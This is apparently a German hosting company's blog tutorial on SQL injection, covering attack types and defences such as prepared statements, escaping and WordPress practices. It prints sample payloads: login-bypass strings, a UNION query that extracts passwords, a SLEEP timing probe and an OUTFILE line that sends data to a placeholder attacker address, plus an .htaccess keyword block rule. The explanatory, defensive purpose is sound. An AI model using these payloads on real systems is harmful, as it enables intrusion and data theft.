Eine SQL Injection ist eine Technik zur Code-Injektion, die Angreifer nutzen, um Schwachstellen in der Datenbankschicht einer Website oder Anwendung auszunutzen. Wenn es Angreifern gelingt, eine SQL-Injection durchzuführen, können sie sich Zugang zur Datenbank verschaffen.

Wenn du verstehst, wie diese Angriffe funktionieren, bist du besser gerüstet, um sie zu verhindern. Auf diese Weise kannst du deine Website und deine Kunden in Sicherheit bringen.

In diesem Beitrag gehen wir auf die verschiedenen Arten von SQL-Injections ein. Außerdem zeigen wir dir, wie du deine Website vor diesen Angriffen schützen kannst. Lass uns gleich eintauchen!

Was ist eine SQL-Injektion?

SQL (Structured Query Language) ist eine Sprache, die es uns ermöglicht, mit Datenbanken zu interagieren. Moderne Webanwendungen nutzen Datenbanken, um Daten zu verwalten und dem Leser dynamische Inhalte anzuzeigen.

Bei einer SQL-Injection (oder SQLi) versucht ein Benutzer, bösartige SQL-Anweisungen in eine Webanwendung einzufügen. Wenn sie erfolgreich sind, können sie auf sensible Daten in der Datenbank zugreifen.

Auch im Jahr 2023 gehören SQL-Injections zu den häufigsten Angriffen im Internet. Allein im Jahr 2022 wurden 1162 SQL-Injection-Schwachstellen in die CVE-Sicherheitsdatenbank aufgenommen.

Die gute Nachricht ist, dass SQL-Injektionen nicht mehr so häufig vorkommen wie früher. Die meisten Anwendungen haben sich weiterentwickelt, um sich vor SQL-Angriffen zu schützen.

Im Jahr 2012 waren 97 Prozent aller Datenschutzverletzungen auf SQL-Injektionen zurückzuführen. Heutzutage ist diese Zahl zwar immer noch hoch, aber viel überschaubarer.

Wie funktioniert die SQL-Injection-Schwachstelle?

Eine SQL-Injection-Schwachstelle verschafft einem Angreifer durch die Verwendung bösartiger SQL-Anweisungen vollständigen Zugriff auf die Datenbank deiner Anwendung.

Schauen wir uns ein Beispiel für eine verwundbare Anwendung an.

Stell dir den Arbeitsablauf einer typischen Webanwendung vor, die Datenbankabfragen durch Benutzereingaben beinhaltet. Du nimmst die Benutzereingaben über ein Formular entgegen, zum Beispiel ein Anmeldeformular. Dann fragst du deine Datenbank mit den vom Benutzer eingegebenen Feldern ab, um ihn zu authentifizieren. Die Struktur der Abfrage an deine Datenbank sieht etwa so aus:

select * from user_table
where username = 'sdaityari'
and password = 'mypassword';

Der Einfachheit halber nehmen wir an, dass du deine Passwörter im Klartext speicherst. Es ist jedoch ratsam, deine Passwörter mit Salts zu versehen und dann zu hashen. Wenn du den Benutzernamen und das Passwort aus dem Formular erhalten hast, kannst du die Abfrage in PHP wie folgt definieren:

// Connect to SQL database
$db_query = "select * from user_table where
username = '".$user."'
AND password = '".$password."';";
// Execute query

Wenn jemand den Wert „admin‘;-“ in das Feld für den Benutzernamen eingibt, lautet die resultierende SQL-Abfrage, die die Variable $db_query erzeugt, wie folgt:

select * from user_table where
username = 'admin';--' and password = 'mypassword'

Was bewirkt diese Abfrage?

In SQL beginnt das Symbol — einen Kommentar, sodass alles, was danach kommt, ignoriert wird. Dadurch wird die Passwortprüfung aus der Abfrage entfernt. Wenn also „admin“ ein gültiger Benutzername ist, kann sich der Angreifer anmelden, ohne das Passwort zu kennen. Zumindest dann, wenn es keine Sicherheitsvorkehrungen gegen diese Art von Angriffen gibt.

Alternativ kann in diesem Beispiel auch ein boolescher Angriff verwendet werden, um Zugang zu erhalten. Wenn ein Angreifer „password‘ oder 1=1;-“ in das Passwortfeld eingibt, würde die Abfrage folgendermaßen aussehen:

select * from user_table where
username = 'admin' and
password = 'password' or 1=1;--';

In diesem Fall würdest du, auch wenn dein Passwort falsch ist, für die Anwendung authentifiziert werden. Wenn deine Webseite die Ergebnisse der Datenbankabfrage anzeigt, kann ein Angreifer den Befehl zum Anzeigen von Tabellen, den Befehl zum Anzeigen der Tabellen in der Datenbank verwenden und dann selektiv Tabellen löschen, wenn er das möchte.

Exploits einer Mutter : Ein Cartoon über SQL-Injection
Ein Cartoon über SQL-Injection (Quelle: XKCD)

Exploits of a Mom, ein beliebter Comicstrip von XKCD, zeigt das Gespräch einer Mutter mit der Schule ihres Sohnes, in dem sie gefragt wird, ob sie ihren Sohn wirklich „Robert‘); DROP TABLE Students; -“ genannt hat.

Arten von SQL Injection

Nachdem du nun die Grundlagen einer SQL-Injection-Schwachstelle kennst, wollen wir uns die verschiedenen Arten von SQL-Injection-Angriffen und die Gründe dafür ansehen.

In-Band SQL Injection

In-Band SQL Injection ist die einfachste Form der SQL Injection. Dabei kann der Angreifer denselben Kanal nutzen, um den bösartigen SQL-Code in die Anwendung einzufügen und die Ergebnisse zu sammeln.

Schauen wir uns zwei Formen von In-Band-SQL-Injection-Angriffen an.

Fehlerbasierter Angriff

Ein fehlerbasierter Angriff liegt vor, wenn jemand absichtlich die SQL-Abfrage manipuliert, um einen Datenbankfehler zu erzeugen. Die von der Datenbank zurückgegebene Fehlermeldung enthält oft Informationen über die Datenbankstruktur, die der Angreifer nutzen kann, um das System weiter auszunutzen.

Ein Angreifer kann zum Beispiel ‚ OR ‚1‘=’1 in ein Formularfeld eingeben. Wenn die Anwendung verwundbar ist, könnte sie eine Fehlermeldung ausgeben, die Informationen über die Datenbank enthält.

Union-basierte Attacke

Union-basierte SQL-Injection-Angriffe verwenden den SQL UNION-Operator, um die Ergebnisse der ursprünglichen Abfrage mit den Ergebnissen von eingeschleusten bösartigen Abfragen zu kombinieren.

Dadurch kann der Angreifer Informationen aus anderen Tabellen der Datenbank abrufen:

select title, link from post_table
where id < 10
union
select username, password
from user_table; --;

In dieser Abfrage kombiniert der UNION-Operator die Ergebnisse der ursprünglichen Abfrage mit den Ergebnissen von SELECT username, password FROM user_table. Wenn die Anwendung verwundbar ist und die Benutzereingaben nicht ordnungsgemäß bereinigt, könnte sie eine Seite mit Benutzernamen und Passwörtern aus der Benutzertabelle zurückgeben.

Inferentielle SQL-Injektion (Blind SQL Injection)

Selbst wenn ein Angreifer einen Fehler in der SQL-Abfrage erzeugt, wird die Antwort der Abfrage möglicherweise nicht direkt an die Webseite übermittelt. In diesem Fall muss der Angreifer weiter nachforschen.

Bei dieser Form der SQL-Injektion sendet der Angreifer verschiedene Abfragen an die Datenbank, um herauszufinden, wie die Anwendung diese Antworten auswertet. Eine inferentielle SQL-Injection wird manchmal auch als blinde SQL-Injection bezeichnet.

Im Folgenden werden wir uns zwei Arten von inferentiellen SQL-Injections ansehen: boolesche SQL-Injektion und zeitbasierte SQL-Injektion.

Boolesche Attacke

Wenn eine SQL-Abfrage zu einem Fehler führt, der nicht intern in der Anwendung behandelt wurde, kann die resultierende Webseite einen Fehler auslösen, eine leere Seite laden oder nur teilweise geladen werden. Bei einer booleschen SQL-Injektion prüft ein Angreifer, welche Teile der Benutzereingabe für SQL-Injektionen anfällig sind, indem er zwei verschiedene Versionen einer booleschen Klausel in der Eingabe ausprobiert:

  • „… und 1=1“
  • „… und 1=2“

Diese Abfragen sind so konzipiert, dass sie eine Bedingung enthalten, die entweder wahr oder falsch ist. Wenn die Bedingung wahr ist, wird die Seite normal geladen. Wenn sie falsch ist, wird die Seite möglicherweise anders geladen oder es wird ein Fehler angezeigt.

Indem er beobachtet, wie die Seite geladen wird, kann der Angreifer feststellen, ob die Bedingung wahr oder falsch war, auch wenn er die eigentliche SQL-Abfrage oder die Antwort der Datenbank nicht sieht. Wenn du mehrere ähnliche Bedingungen zusammenstellst, kannst du langsam Informationen aus der Datenbank extrahieren.

Zeitbasierter Angriff

Mit einem zeitbasierten SQL-Injection-Angriff kann ein Angreifer feststellen, ob eine Schwachstelle in einer Webanwendung vorhanden ist. Ein Angreifer nutzt eine vordefinierte zeitbasierte Funktion des Datenbankmanagementsystems, das von der Anwendung verwendet wird. In MySQL zum Beispiel weist die Funktion sleep() die Datenbank an, eine bestimmte Anzahl von Sekunden zu warten.

select * from comments
WHERE post_id=1-SLEEP(15);

Wenn eine solche Abfrage zu einer Verzögerung führt, weiß der Angreifer, dass sie verwundbar ist. Dieser Ansatz ähnelt den booleschen Angriffen, da du keine tatsächliche Antwort von der Datenbank erhältst. Allerdings kann man daraus Informationen gewinnen, wenn der Angriff erfolgreich ist.

Out-of-Band SQL Injection

Bei einem Out-of-Band-SQL-Injection-Angriff manipuliert der Angreifer die SQL-Abfrage, um die Datenbank anzuweisen, Daten an einen vom Angreifer kontrollierten Server zu übermitteln. Dies wird in der Regel durch Datenbankfunktionen erreicht, die externe Ressourcen anfordern können, wie z. B. HTTP-Anfragen oder DNS-Abfragen.

Ein Out-of-Band SQL-Injection-Angriff nutzt eine externe Dateiverarbeitungsfunktion deines DBMS. In MySQL können die Funktionen LOAD_FILE() und INTO OUTFILE verwendet werden, um MySQL aufzufordern, die Daten an eine externe Quelle zu übertragen.

So könnte ein Angreifer OUTFILE nutzen, um die Ergebnisse einer Abfrage an eine externe Quelle zu senden:

select * from post_table
into OUTFILE '\\MALICIOUS_IP_ADDRESSlocation'

In ähnlicher Weise kann die Funktion LOAD_FILE() verwendet werden, um eine Datei vom Server zu lesen und ihren Inhalt anzuzeigen. Eine Kombination aus LOAD_FILE() und OUTFILE kann verwendet werden, um den Inhalt einer Datei auf dem Server zu lesen und ihn dann an einen anderen Ort zu übertragen.

Wie man SQL-Injections verhindert

Bisher haben wir uns mit den Schwachstellen in einer Webanwendung beschäftigt, die zu SQL-Injection-Angriffen führen können. Eine SQL-Injection-Schwachstelle kann von einem Angreifer genutzt werden, um den Inhalt deiner Datenbank zu lesen, zu verändern oder sogar zu löschen.

Außerdem kann sie es ihm ermöglichen, eine Datei an einem beliebigen Ort innerhalb des Servers zu lesen und den Inhalt an einen anderen Ort zu übertragen. In diesem Abschnitt stellen wir verschiedene Techniken vor, mit denen du deine Webanwendung und Website vor SQL-Injection-Angriffen schützen kannst.

Benutzereingaben entgehen

Im Allgemeinen ist es schwierig festzustellen, ob eine Benutzereingabe bösartig ist oder nicht. Eine gängige Methode ist daher, Sonderzeichen in Benutzereingaben zu umgehen. Dieses Verfahren kann zum Schutz vor SQL-Injection-Angriffen beitragen.

In PHP kannst du eine Zeichenkette vor dem Aufbau der Abfrage mit der Funktion mysqli_real_escape_string() entschlüsseln:

$unsafe_variable = $_POST["user_input"]; $safe_variable = mysqli_real_escape_string($conn, $unsafe_variable);

Wenn du Benutzereingaben als HTML darstellst, ist es außerdem wichtig, Sonderzeichen in die entsprechenden HTML-Zeichen umzuwandeln, um Cross-Site Scripting (XSS)-Angriffe zu verhindern. Du kannst Sonderzeichen in PHP mit der Funktion htmlspecialchars() umwandeln.

Prepared Statements verwenden

Alternativ kannst du auch Prepared Statements verwenden, um SQL-Injections zu vermeiden. Eine vorbereitete Anweisung ist eine Vorlage für eine SQL-Abfrage, bei der du zu einem späteren Zeitpunkt Parameter angibst, um sie auszuführen.

Hier ist ein Beispiel für ein Prepared Statement in PHP und MySQLi:

$query = $mysql_connection->prepare("select * from user_table where username = ? and password = ?");
$query->execute(array($username, $password));

Andere Hygiene-Checks zur Verhinderung von SQL-Angriffen

Der nächste Schritt, um diese Schwachstelle zu entschärfen, besteht darin, den Zugriff auf die Datenbank auf das Nötigste zu beschränken.

Du kannst zum Beispiel deine Webanwendung mit dem DBMS über einen bestimmten Benutzer verbinden, der nur Zugriff auf die entsprechende Datenbank hat.

Außerdem solltest du den Zugriff des Datenbankbenutzers auf alle anderen Bereiche des Servers beschränken. Vielleicht möchtest du auch bestimmte SQL-Schlüsselwörter in deiner URL über deinen Webserver blockieren.

Wenn du Apache als Webserver verwendest, kannst du die folgenden Codezeilen in deiner .htaccess datei verwenden, um einem potenziellen Angreifer einen 403 Forbidden-Fehler anzuzeigen.

Du solltest vorsichtig sein, bevor du diese Technik anwendest, denn Apache zeigt einem Leser eine Fehlermeldung an, wenn die URL diese Schlüsselwörter enthält.

RewriteCond %{QUERY_STRING} [^a-z](declare¦char¦set¦cast¦convert¦delete¦drop¦exec¦insert¦meta¦script¦select¦truncate¦update)[^a-z] [NC]
RewriteRule (.*) - [F]

Ein weiterer Tipp zur Vorbeugung: Du solltest immer aktuelle Software verwenden. Wenn eine neue Version oder ein Patch veröffentlicht wird, werden die Fehler, die mit dem Update behoben wurden, in den Versionshinweisen aufgeführt. Sobald die Details eines Fehlers öffentlich bekannt sind, kann es riskant sein, eine alte Version einer Software zu benutzen.

SQL-Injektion in WordPress

Du bist vor einer SQL-Injection-Schwachstelle sicher, wenn du aktuelle WordPress-Kerndateien verwendest. Durch die Verwendung von Plugins und Themes von Drittanbietern ist deine Website jedoch immer in gewissem Maße angreifbar. Du kannst dieses Risiko weitgehend minimieren, indem du Plugins und Themes verwendest, die regelmäßig aktualisiert werden und die sichere Programmierpraktiken anwenden.

Deine WordPress-Website ist nur so stark wie ihr schwächstes Glied. In diesem Abschnitt gehen wir auf die wichtigsten Überlegungen zur Vermeidung von SQL-Injection-Schwachstellen in WordPress ein und zeigen dir, wie du deine bestehende WordPress-Website auf Schwachstellen überprüfen kannst.

Schutz vor SQL-Injection-Schwachstellen in WordPress

Um die Schwachstelle der SQL-Injection in deinem WordPress-Theme oder -Plugin zu entschärfen, musst du eine einzige Regel befolgen: Verwende immer die vorhandenen WordPress-Funktionen, wenn du mit der Datenbank interagierst.

Diese Funktionen werden während des WordPress-Entwicklungsprozesses gründlich auf SQL-Injection-Schwachstellen getestet. Wenn du zum Beispiel einen Kommentar zu einem Beitrag hinzufügen möchtest, verwende die Funktion wp_insert_comment() Funktion anstatt die Daten direkt in die Tabelle wp_comments einzufügen.

Obwohl Funktionen erweiterbar sind, kann es vorkommen, dass du eine komplexe Abfrage durchführen musst. In einem solchen Fall solltest du die Funktionsgruppe$wp_db verwenden. Du kannst $wpdb->prepare() verwenden, um Benutzereingaben zu umgehen, bevor du die Abfrage erstellst.

Außerdem findest du hier eine Liste von Funktionen zur Datenbereinigung in WordPress. Sie können dir helfen, bestimmte Arten von Benutzereingaben wie E-Mails und URLs zu vermeiden.

Sichere deine WordPress-Website

Auch wenn WordPress selbst sicher ist, können Probleme wie veraltete Kernsoftware und fehlerhafte Plugins zu Sicherheitslücken führen. Es gibt zwar keine Alternative dazu, deine WordPress-Website gründlich auf SQL-Injection-Schwachstellen zu überprüfen, aber die Komplexität einer Website kann diese Aufgabe zu einer Herausforderung machen.

Du kannst ein Online-Scan-Tool wie WPScan verwenden. Wir empfehlen außerdem, deine Plugins zu überprüfen, um festzustellen, ob ihre Entwicklung zum Stillstand gekommen ist. Wenn sie nicht mehr gepflegt werden, solltest du sie nicht auf deiner Website verwenden.

Wenn du sie dennoch verwenden musst, solltest du ihren Code und ihre Funktionen gründlich auf Schwachstellen testen. Ansonsten solltest du die folgenden Hygiene-Checks durchführen:

  • Aktualisiere PHP, WordPress Core und MySQL
  • Aktualisiere Plugins und Themes von Drittanbietern
  • Vermeide es, den Root-Benutzer für die Verbindung mit der SQL-Datenbank zu verwenden
  • Beschränke den Zugriff des SQL-Benutzers auf sensible Verzeichnisse
  • Blockiere SQL-Schlüsselwörter auf deinem Server
  • Bewahre Backups deiner Website außerhalb deines Standorts auf, für den Fall, dass sie unwiderruflich beschädigt wird

Hier findest du einen ausführlichen Beitrag über die Sicherheit von WordPress und eine umfassende Liste von Überprüfungen. Außerdem solltest du in diese Top-Sicherheits-Plugins für WordPress investieren. Hier erfährst du, was du tun solltest, wenn deine WordPress-Website trotz deiner besten Bemühungen gehackt wird.

Ist SQL Injection illegal?

Auf jeden Fall, ja! Auch wenn es eine tatsächliche Sicherheitslücke gibt, versucht ein Angreifer, sich Zugang zu Daten zu verschaffen, die ihm sonst nicht zur Verfügung stehen würden.

Stell dir vor, jemand lässt seine Schlüssel im Auto liegen. Ist es eine Straftat, mit dem Auto wegzufahren, nur weil es offen und unbeaufsichtigt gelassen wurde?

Die Handlung von SQLi fällt in verschiedenen Ländern unter unterschiedliche Gesetze. In den USA fällt sie unter den Computer Fraud and Abuse Act (1986) und in Großbritannien unter den Computer Misuse Act (1990).

Zusammenfassung

SQL-Injections sind seit langem einer der häufigsten Angriffe auf alle Arten von Websites. Selbst WordPress kann dich nicht vor SQL-Angriffen schützen, wenn du keine Maßnahmen zum Schutz deiner Website ergreifst.

Um diese Angriffe zu verhindern, musst du:

  • Verstehen, wie die SQL-Injection-Schwachstelle funktioniert
  • Verschiedene Möglichkeiten untersuchen, wie Angreifer SQLi nutzen können, um unbefugten Zugriff auf deine Webanwendung zu erhalten
  • Methoden implementieren, um deine Website vor SQLi-Angriffen zu schützen, z. B. das Escapen von Benutzereingaben und die Verwendung vorbereiteter Anweisungen
  • Befolge eine Sicherheitsüberprüfungsroutine

Spare Zeit und Kosten und maximiere die Leistung deiner Website mit Integrationen auf Unternehmensebene im Wert von über 275 US-Dollar, die in jedem Managed WordPress-Plan enthalten sind. Dazu gehören ein leistungsstarkes CDN, DDoS-Schutz, Malware- und Hacking-Abwehr, Edge Caching und die schnellsten CPU-Maschinen von Google. Du bekommst keine langfristigen Verträge, Unterstützung bei der Migration und eine 30-Tage-Geld-zurück-Garantie.

Schau dir unsere Tarife an oder sprich mit dem Vertrieb, um den für dich passenden Tarif zu finden.

Shaumik Daityari

Shaumik ist tagsüber ein Datenanalytiker und nachts ein Comic-Fan (oder ist er vielleicht Batman?) Shaumik schreibt seit über fünf Jahren Tutorials und erstellt Screencasts. Wenn er nicht arbeitet, ist er damit beschäftigt, alltägliche Aufgaben durch sorgfältig geschriebene Skripte zu automatisieren!